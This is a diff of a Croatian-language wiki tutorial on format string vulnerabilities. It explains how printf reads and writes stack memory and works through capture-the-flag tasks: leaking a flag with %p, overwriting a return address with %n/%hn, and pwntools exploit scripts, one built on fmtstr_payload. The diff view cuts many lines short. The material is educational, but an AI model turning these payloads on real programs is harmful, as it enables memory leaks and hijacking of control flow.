string_format_read
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| string_format_read [2025/02/07 10:31] – lss | string_format_read [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====String format read/ | ====String format read/ | ||
| - | Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. | + | Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. Moguć je onda, kad ranjiva aplikacija dozvoljava korisniku-napadaču da definira format string naredbe " |
| - | Uzmimo | + | Uzmimo |
| printf(" | printf(" | ||
| - | %s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. | + | %s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p …) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. Npr. |
| - | Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p ...) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. | + | |
| - | Npr. | + | |
| printf(" | printf(" | ||
| mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio. | mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio. | ||
| Line 12: | Line 10: | ||
| Ranjivost: | Ranjivost: | ||
| Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana | Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana | ||
| - | funkcija ne može razaznati radi li se o grešci ili ne zbog čega uzima argumente | + | funkcija ne može razaznati radi li se o grešci ili ne zbog čega će uzeti onoliko argumenata koliko je definirano u format stringu. Prvih pet uzima iz registara sačuvanih |
| - | (argumenti 7 itd...) kako bi popunila zadane formate. | + | |
| Primjer: | Primjer: | ||
| printf(„%p %p”); | printf(„%p %p”); | ||
| - | Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, | + | Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, |
| - | u formatu pointera: | + | |
| printf(format); | printf(format); | ||
| Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera. | Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera. | ||
| X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom: | X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom: | ||
| - | Unutar funkcije registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli. | + | Unutar funkcije, registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli. |
| Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa. | Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa. | ||
| Maksimalan broj argumenata koje registri mogu sadržavati jest 6. | Maksimalan broj argumenata koje registri mogu sadržavati jest 6. | ||
| - | RDI (prvi registar) sadrži | + | RDI (prvi registar) sadrži |
| - | To znači da ako se unese veći broj formata | + | To znači da ako se format string definira |
| - | argumente sa stoga koji prethode base pointeru. | + | |
| ====Kupon==== | ====Kupon==== | ||
| Line 49: | Line 45: | ||
| printf(input) | printf(input) | ||
| - | nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć | + | nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć |
| - | string format | + | |
| - | zbog optimizacije stoga, no u ovom slučaju poredak je sačuvan, za provjeru uvijek je moguće ručno pregledati stog uz pomoć gdb-a). | + | To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljene |
| - | To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljenje | + | |
| - | namijenjena argumentima 7 pa nadalje. Dakle, ako u polje input upišemo // | + | |
| za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova). | za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova). | ||
| Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon. | Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon. | ||
| Line 59: | Line 53: | ||
| ----- | ----- | ||
| Napomena 1: | Napomena 1: | ||
| - | Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega | + | Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) " |
| - | je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) " | + | Recimo da je ispis nekog pointera |
| - | Recimo da je ispis nekog pointer | + | |
| pointera kako bi se ispisale ispravne vrijednosti: | pointera kako bi se ispisale ispravne vrijednosti: | ||
| Line 132: | Line 125: | ||
| Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom. | Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom. | ||
| - | Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednost krenu uzimati s vrha stoga. | + | Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednosti počnu |
| Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp). | Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp). | ||
| Line 139: | Line 132: | ||
| Funkcija //printf// nudi funkcionalnost pisanja pomoću %n // | Funkcija //printf// nudi funkcionalnost pisanja pomoću %n // | ||
| + | Pomoću placeholdera //%n// se može upisati integer vrijednost (4 bajta), a pomoću placeholdera //%hn// short vrijednost (2 bajta). | ||
| - | Primjerice poziv < | + | Primjerice poziv < |
| - | Primjer takvog payloada jest: " | ||
| - | %n jest upis integer vrijednosti | + | U zadatku moramo napisati payload koji će zapisati adresu // |
| - | Dijelovi payloada su sljedeći: %10$n, %64x, %11$hn, %4534x, %12$hn, aaaaa i stack_ret adrese. | + | |
| - | Cilj jest upisati adresu getFlag funkcije, 0x00000000004011f6. Format adresa je u LSB obliku (manje vrijednosti dolaze prije). | + | Budući da pomoću " |
| - | Prvo se upisuje vrijednost 0 na gornja | + | |
| - | Zatim se uz pomoć | + | |
| - | Na kraju, ispisuje se dodatnih 4534 razmaka (plus prethodnih 64) kako bi se dobila vrijednost | + | |
| - | Dakle, redom su upisane vrijednosti 0x00000000, 0x0040 i 0x11f6 | + | Podijelimo 0x00000000004011f6 |
| - | adresi getFlag funkcije | + | 00000000 -> mora se zapisati na stack_return_addr+4 (return adrese su pohranjene u little-endian formatu, a stack raste prema nižim adresama) -> lako ga je zapisati pomoću " |
| - | U ovom primjeru, duljina stringa | + | 0040 -> mora se zapisati |
| - | "%10$n%64x%11$hn%4534x%12$hnaaaaa" | + | 11f6 - mora se zapisati |
| - | u obzir 5 argumenata danih kroz registre, stack_ret_addr+4 argument | + | |
| - | Za to služi niz " | + | |
| - | (jer ispis tih znakova dolazi nakon upisivanja kroz %n ili %hn). | + | |
| - | Za ručno sastavljanja payloada, najprije se odrede dijelovi | + | Sastavimo za početak u pythonu samo payload za zapisivanje 00000000 na p64(stack_return_addr+4) - p64 je funkcija iz biblioteke // |
| - | 4 bajta adrese getFlag funkcije su 0, zbog čega taj dio dolazi kao prvi argument. Ovisno o payloadu, poredak se može izmijeniti. Također, dobra je praksa | + | |
| - | podijeliti vrijednosti na short umjesto int jer ispis razmaka traje kraće. Umjesto ispisivanja 0x004011f6 znakova ispiše se najprije 0x40 i zatim 0x11f6. | + | < |
| - | Jednom kada se sastavi kostur payloada (poredak argumenata, ispis razmaka s %x i upis vrijednosti kroz %hn ili %n) potrebno je igrati se s poravnanjem. Odredi se pozicija | + | %10$n znači - upiši broj znakova koji se do sad ispisao u ovom printf pozivu (nula) u integer formatu na adresu koja je deseti |
| - | prvog argumenta koji se nalazi iza trenutačne duljine stringa, npr. ako je duljina trenutačnog stringa 34 sljedeći višekratnih broja 8 jest 40 što znači da će prvi argument | + | |
| - | na poziciji 11 itd... | + | |
| + | Koji je deseti argument funkcije printf? Prvih pet argumenata su pohranjeni u registrima, dok se ostali uzimaju sa stoga. Sam payload string će se nalaziti na stogu, //%10$n// zajedno s 27 znakova " | ||
| + | Sada bismo trebali zapisati vrijednost " | ||
| + | |||
| + | Naš payload bi postao < | ||
| + | |||
| + | Zatim je potrebno upisati 0x11f6 na p64(stack_ret_addr). Kako bi to postigli funkcija //printf// mora ispisati ukupno 0x11f6 (4598) znakova. Već su ispisana 64 znaka, pa moramo ispisati još 4534, što možemo učiniti placeholderom " | ||
| + | |||
| + | Tako naš payload postaje: | ||
| + | < | ||
| + | |||
| + | |||
| + | Payload kojim možemo overwriteati return adresu s adresom // | ||
| + | < | ||
| + | |||
| + | Exploit kod | ||
| + | < | ||
| + | from pwn import * | ||
| + | |||
| + | p = remote(" | ||
| + | |||
| + | p.recvuntil(b" | ||
| + | |||
| + | offset = 0x110 #dobiveno pregledom memorije | ||
| + | |||
| + | payload1 = b" | ||
| + | |||
| + | p.sendline(payload1) | ||
| + | |||
| + | stack_ret_addr = int(re.findall(b" | ||
| + | |||
| + | # | ||
| + | |||
| + | payload2 = b" | ||
| + | |||
| + | p.sendline(payload2) | ||
| + | p.sendline(b" | ||
| + | |||
| + | print(p.recvall()) | ||
| + | |||
| + | |||
| + | |||
| + | </ | ||
| ===Pwntools=== | ===Pwntools=== | ||
| Line 174: | Line 200: | ||
| {{pwntools_fmt_str.png}} | {{pwntools_fmt_str.png}} | ||
| - | Automatiziranje exploita se može postići uz pomoć pwntoolsa. | + | Automatiziranje exploita se može postići uz pomoć pwntoolsa. |
| - | se želi upisati proizvoljna vrijednost i na kraju se funkcija izvrši. | + | |
| + | Funkcija fmtstr_payload kao argumente prima offset do prvog kontroliranog argumenta printf funkcije | ||
| + | |||
| + | < | ||
| + | from pwn import * | ||
| + | |||
| + | context.arch=" | ||
| + | |||
| + | p = process(" | ||
| + | |||
| + | ret_addr = 0x4011f6 | ||
| + | |||
| + | p.recvuntil(b" | ||
| + | p.sendline(b" | ||
| + | stack_ret_addr = int(re.findall(b" | ||
| + | |||
| + | payload = fmtstr_payload(6, | ||
| + | p.sendline(payload) | ||
| + | |||
| + | p.sendline(b" | ||
| - | Na primjeru zadatka, slanje zadnjeg posljednjeg payloada bi izgledao na sljedeći način: | + | print(p.recvall()) |
| + | </ | ||
| + | U odnosu na prijašnji eksploit, sve je identično osim generiranja samog payloada. | ||
| - | format_string = FmtStr (execute_fmt=send_payload) | + | Napomena: |
| - | | + | Argument offseta fmtstr_payload funkcije jest 6 zato što je 6. argument prvi argument na stacku. |
| - | | + | Prvih 5 se nalazi u registru i napadač nema kontrolu nad njima. |
| - | Uz automatizirano exploitanje, | + | Fmtstr_payload funkciji |
string_format_read.1738924301.txt.gz · Last modified: 2025/12/01 11:40 (external edit)